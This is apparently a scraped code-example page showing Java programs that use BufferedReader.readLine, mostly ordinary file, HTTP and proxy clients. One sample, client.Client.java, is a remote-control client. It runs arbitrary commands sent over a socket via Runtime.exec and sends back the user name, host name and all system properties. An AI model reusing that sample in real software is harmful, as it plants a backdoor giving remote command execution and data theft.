Example usage for java.io BufferedReader readLine

List of usage examples for java.io BufferedReader readLine

Introduction

In this page you can find the example usage for java.io BufferedReader readLine.

Prototype

public String readLine() throws IOException 

Source Link

Document

Reads a line of text.

Usage

From source file:com.seavus.wordcountermaven.WordCounter.java

/**
 * @param args the command line arguments
 * @throws java.io.FileNotFoundException
 *///ww  w  .  j  ava 2  s .  c  o  m
public static void main(String[] args) throws FileNotFoundException {
    InputStream fileStream = WordCounter.class.getClassLoader().getResourceAsStream("test.txt");
    BufferedReader br = new BufferedReader(new InputStreamReader(fileStream));

    Map<String, Integer> wordMap = new HashMap<>();
    String line;

    boolean tokenFound = false;
    try {
        while ((line = br.readLine()) != null) {
            String[] tokens = line.trim().split("\\s+"); //trims surrounding whitespaces and splits lines into tokens
            for (String token : tokens) {
                for (Map.Entry<String, Integer> entry : wordMap.entrySet()) {
                    if (StringUtils.equalsIgnoreCase(token, entry.getKey())) {
                        wordMap.put(entry.getKey(), (wordMap.get(entry.getKey()) + 1));
                        tokenFound = true;
                    }
                }
                if (!token.equals("") && !tokenFound) {
                    wordMap.put(token.toLowerCase(), 1);
                }
                tokenFound = false;
            }
        }
        br.close();
    } catch (IOException ex) {
        Logger.getLogger(WordCounter.class.getName()).log(Level.SEVERE, null, ex);
    }

    System.out.println("string : " + "frequency\r\n" + "-------------------");
    //prints out each unique word (i.e. case-insensitive string token) and its frequency to the console
    for (Map.Entry<String, Integer> entry : wordMap.entrySet()) {
        System.out.println(entry.getKey() + " : " + entry.getValue());
    }

}

From source file:org.kuali.kfs.rest.AccountingPeriodCloseJob.java

public static void main(String[] args) {
    try {//from ww w. j  a  v a2s.  c  om
        DefaultHttpClient httpClient = new DefaultHttpClient();
        HttpPost request = new HttpPost("http://localhost:8080/kfs-dev/coa/accounting_periods/close");
        request.addHeader("accept", "application/json");
        request.addHeader("content-type", "application/json");
        request.addHeader("authorization", "NSA_this_is_for_you");

        StringBuilder sb = new StringBuilder();
        sb.append("{");
        sb.append("\"description\":\"Document: The Next Generation\",");
        sb.append("\"universityFiscalYear\": 2016,");
        sb.append("\"universityFiscalPeriodCode\": \"03\"");
        sb.append("}");
        StringEntity data = new StringEntity(sb.toString());
        request.setEntity(data);

        HttpResponse response = httpClient.execute(request);

        System.out.println("Status Code: " + response.getStatusLine().getStatusCode());
        if (response.getStatusLine().getStatusCode() != 200) {
            throw new RuntimeException(
                    "Failed : HTTP error code : " + response.getStatusLine().getStatusCode());
        }

        BufferedReader br = new BufferedReader(new InputStreamReader((response.getEntity().getContent())));

        String output;
        System.out.println("Output from Server .... \n");
        while ((output = br.readLine()) != null) {
            System.out.println(output);
        }

        httpClient.getConnectionManager().shutdown();
    } catch (ClientProtocolException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*from w w  w.  j  a  va2  s. c o  m*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:com.mycompany.test.Jaroop.java

/**
 * This is the main program which will receive the request, calls required methods
 * and processes the response./*  ww w.  j  a  v  a 2 s .  c  o m*/
 * @param args
 * @throws IOException
 */
public static void main(String[] args) throws IOException {
    Scanner scannedInput = new Scanner(System.in);
    String in = "";
    if (args.length == 0) {
        System.out.println("Enter the query");
        in = scannedInput.nextLine();
    } else {
        in = args[0];
    }
    in = in.toLowerCase().replaceAll("\\s+", "_");
    int httpStatus = checkInvalidInput(in);
    if (httpStatus == 0) {
        System.out.print("Not found");
        System.exit(0);
    }
    String url = "https://en.wikipedia.org/w/api.php?format=json&action=query&prop=extracts&exintro=&explaintext=&titles="
            + in;
    HttpURLConnection connection = getConnection(url);
    BufferedReader input = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String request = "";
    StringBuilder response = new StringBuilder();
    while ((request = input.readLine()) != null) {
        //only appending what ever is required for JSON parsing and ignoring the rest
        response.append("{");
        //appending the key "extract" to the string so that the JSON parser can parse it's value,
        //also we don't need last 3 paranthesis in the response, excluding them as well.
        response.append(request.substring(request.indexOf("\"extract"), request.length() - 3));
    }
    parseJSON(response.toString());
}

From source file:org.corfudb.sharedlog.examples.ConfigClnt.java

public static void main(String[] args) throws IOException {

    DefaultHttpClient httpclient = new DefaultHttpClient();
    final BufferedReader prompt = new BufferedReader(new InputStreamReader(System.in));

    CorfuConfiguration C = null;//w w w .  j a  v  a2 s .c  om

    while (true) {

        System.out.print("> ");
        String line = prompt.readLine();
        if (line.startsWith("get")) {

            HttpGet httpget = new HttpGet("http://localhost:8000/corfu");

            System.out.println("Executing request: " + httpget.getRequestLine());
            HttpResponse response = (HttpResponse) httpclient.execute(httpget);

            System.out.println("----------------------------------------");
            System.out.println(response.getStatusLine());
            // response.getEntity().writeTo(System.out);
            // System.out.println();
            // System.out.println("----------------------------------------");

            C = new CorfuConfiguration(response.getEntity().getContent());
        } else {

            if (C == null) {
                System.out.println("configuration not set yet!");
                continue;
            }

            HttpPost httppost = new HttpPost("http://localhost:8000/corfu");
            httppost.setEntity(new StringEntity(C.ConfToXMLString()));

            System.out.println("Executing request: " + httppost.getRequestLine());
            HttpResponse response = httpclient.execute(httppost);

            System.out.println("----------------------------------------");
            System.out.println(response.getStatusLine());
            response.getEntity().writeTo(System.out);

        }
    }
    // httpclient.close();
}

From source file:ProxyTunnelDemo.java

public static void main(String[] args) throws Exception {

    ProxyClient proxyclient = new ProxyClient();
    // set the host the proxy should create a connection to
    ///*from w  w w.  j  a v  a2s.c  om*/
    // Note:  By default port 80 will be used. Some proxies only allow conections
    // to ports 443 and 8443.  This is because the HTTP CONNECT method was intented
    // to be used for tunneling HTTPS.
    proxyclient.getHostConfiguration().setHost("www.yahoo.com");
    // set the proxy host and port
    proxyclient.getHostConfiguration().setProxy("10.0.1.1", 3128);
    // set the proxy credentials, only necessary for authenticating proxies
    proxyclient.getState().setProxyCredentials(new AuthScope("10.0.1.1", 3128, null),
            new UsernamePasswordCredentials("proxy", "proxy"));

    // create the socket
    ProxyClient.ConnectResponse response = proxyclient.connect();

    if (response.getSocket() != null) {
        Socket socket = response.getSocket();
        try {
            // go ahead and do an HTTP GET using the socket
            Writer out = new OutputStreamWriter(socket.getOutputStream(), "ISO-8859-1");
            out.write("GET http://www.yahoo.com/ HTTP/1.1\r\n");
            out.write("Host: www.yahoo.com\r\n");
            out.write("Agent: whatever\r\n");
            out.write("\r\n");
            out.flush();
            BufferedReader in = new BufferedReader(
                    new InputStreamReader(socket.getInputStream(), "ISO-8859-1"));
            String line = null;
            while ((line = in.readLine()) != null) {
                System.out.println(line);
            }
        } finally {
            // be sure to close the socket when we're done
            socket.close();
        }
    } else {
        // the proxy connect was not successful, check connect method for reasons why
        System.out.println("Connect failed: " + response.getConnectMethod().getStatusLine());
        System.out.println(response.getConnectMethod().getResponseBodyAsString());
    }
}

From source file:yangqi.hc.HttpClientTest.java

/**
 * @param args//from w  w  w.j  a  va2 s  . c o  m
 * @throws IOException
 * @throws ClientProtocolException
 */
public static void main(String[] args) throws ClientProtocolException, IOException {
    // TODO Auto-generated method stub
    HttpClient httpclient = new DefaultHttpClient();

    // Prepare a request object
    HttpGet httpget = new HttpGet("http://www.apache.org/");

    // Execute the request
    HttpResponse response = httpclient.execute(httpget);

    // Examine the response status
    System.out.println(response.getStatusLine());

    System.out.println(response.getLocale());

    for (Header header : response.getAllHeaders()) {
        System.out.println(header.toString());
    }

    // Get hold of the response entity
    HttpEntity entity = response.getEntity();

    System.out.println("==========entity=========");
    System.out.println(entity.getContentLength());
    System.out.println(entity.getContentType());
    System.out.println(entity.getContentEncoding());

    // If the response does not enclose an entity, there is no need
    // to worry about connection release
    if (entity != null) {
        InputStream instream = entity.getContent();
        try {

            BufferedReader reader = new BufferedReader(new InputStreamReader(instream));
            // do something useful with the response
            System.out.println(reader.readLine());

        } catch (IOException ex) {

            // In case of an IOException the connection will be released
            // back to the connection manager automatically
            throw ex;

        } catch (RuntimeException ex) {

            // In case of an unexpected exception you may want to abort
            // the HTTP request in order to shut down the underlying
            // connection and release it back to the connection manager.
            httpget.abort();
            throw ex;

        } finally {

            // Closing the input stream will trigger connection release
            instream.close();

        }

        // When HttpClient instance is no longer needed,
        // shut down the connection manager to ensure
        // immediate deallocation of all system resources
        httpclient.getConnectionManager().shutdown();
    }

}

From source file:org.sbq.batch.mains.ActivityEmulator.java

public static void main(String[] vars) throws IOException {
    System.out.println("ActivityEmulator - STARTED.");
    ActivityEmulator activityEmulator = new ActivityEmulator();
    activityEmulator.begin();/*  w  ww.j  a  va2s .  co m*/
    System.out.println("Enter your command: >");
    BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
    String command = null;
    while (!"stop".equals(command = in.readLine())) {
        if ("status".equals(command)) {
            List<String> onlineUsers = new LinkedList<String>();
            for (Map.Entry<String, AtomicBoolean> entry : activityEmulator.getUserStatusByLogin().entrySet()) {
                if (entry.getValue().get()) {
                    onlineUsers.add(entry.getKey());
                }
            }
            System.out.println("Users online: " + Arrays.toString(onlineUsers.toArray()));
            System.out.println("Number of cycles left: " + activityEmulator.getBlockingQueue().size());

        }
        System.out.println("Enter your command: >");
    }
    activityEmulator.stop();
    System.out.println("ActivityEmulator - STOPPED.");
}

From source file:RhymingWords.java

public static void main(String[] args) throws IOException {

    FileReader words = new FileReader("words.txt");

    // do the reversing and sorting
    Reader rhymedWords = reverse(sort(reverse(words)));

    // write new list to standard out
    BufferedReader in = new BufferedReader(rhymedWords);
    String input;//from ww  w . j av  a2s .co  m

    while ((input = in.readLine()) != null)
        System.out.println(input);
    in.close();
}

From source file:com.termmed.sampling.ConceptsWithMoreThanThreeRoleGroups.java

/**
 * The main method.//from w  w w  .  ja v a2 s  .co m
 *
 * @param args the arguments
 * @throws Exception the exception
 */
public static void main(String[] args) throws Exception {
    System.out.println("Starting...");
    Map<String, Set<String>> groupsMap = new HashMap<String, Set<String>>();
    File relsFile = new File(
            "/Users/alo/Downloads/SnomedCT_RF2Release_INT_20160131-1/Snapshot/Terminology/sct2_Relationship_Snapshot_INT_20160131.txt");
    BufferedReader br2 = new BufferedReader(new FileReader(relsFile));
    String line2;
    int count2 = 0;
    while ((line2 = br2.readLine()) != null) {
        // process the line.
        count2++;
        if (count2 % 10000 == 0) {
            //System.out.println(count2);
        }
        List<String> columns = Arrays.asList(line2.split("\t", -1));
        if (columns.size() >= 6) {
            if (columns.get(2).equals("1") && !columns.get(6).equals("0")) {
                if (!groupsMap.containsKey(columns.get(4))) {
                    groupsMap.put(columns.get(4), new HashSet<String>());
                }
                groupsMap.get(columns.get(4)).add(columns.get(6));
            }
        }
    }
    System.out.println("Relationship groups loaded");
    Gson gson = new Gson();
    System.out.println("Reading JSON 1");
    File crossoverFile1 = new File("/Users/alo/Downloads/crossover_role_to_group.json");
    String contents = FileUtils.readFileToString(crossoverFile1, "utf-8");
    Type collectionType = new TypeToken<Collection<ControlResultLine>>() {
    }.getType();
    List<ControlResultLine> lineObject = gson.fromJson(contents, collectionType);
    Set<String> crossovers1 = new HashSet<String>();
    for (ControlResultLine loopResult : lineObject) {
        crossovers1.add(loopResult.conceptId);
    }
    System.out.println("Crossovers 1 loaded, " + lineObject.size() + " Objects");

    System.out.println("Reading JSON 2");
    File crossoverFile2 = new File("/Users/alo/Downloads/crossover_group_to_group.json");
    String contents2 = FileUtils.readFileToString(crossoverFile2, "utf-8");
    List<ControlResultLine> lineObject2 = gson.fromJson(contents2, collectionType);
    Set<String> crossovers2 = new HashSet<String>();
    for (ControlResultLine loopResult : lineObject2) {
        crossovers2.add(loopResult.conceptId);
    }
    System.out.println("Crossovers 2 loaded, " + lineObject2.size() + " Objects");

    Set<String> foundConcepts = new HashSet<String>();
    int count3 = 0;
    BufferedWriter writer = new BufferedWriter(
            new FileWriter(new File("ConceptsWithMoreThanThreeRoleGroups.csv")));
    ;
    for (String loopConcept : groupsMap.keySet()) {
        if (groupsMap.get(loopConcept).size() > 3) {
            writer.write(loopConcept);
            writer.newLine();
            foundConcepts.add(loopConcept);
            count3++;
        }
    }
    writer.close();
    System.out.println("Found " + foundConcepts.size() + " concepts");

    int countCrossover1 = 0;
    for (String loopConcept : foundConcepts) {
        if (crossovers1.contains(loopConcept)) {
            countCrossover1++;
        }
    }
    System.out.println(countCrossover1 + " are present in crossover_role_to_group");

    int countCrossover2 = 0;
    for (String loopConcept : foundConcepts) {
        if (crossovers2.contains(loopConcept)) {
            countCrossover2++;
        }
    }
    System.out.println(countCrossover2 + " are present in crossover_group_to_group");

    System.out.println("Done");
}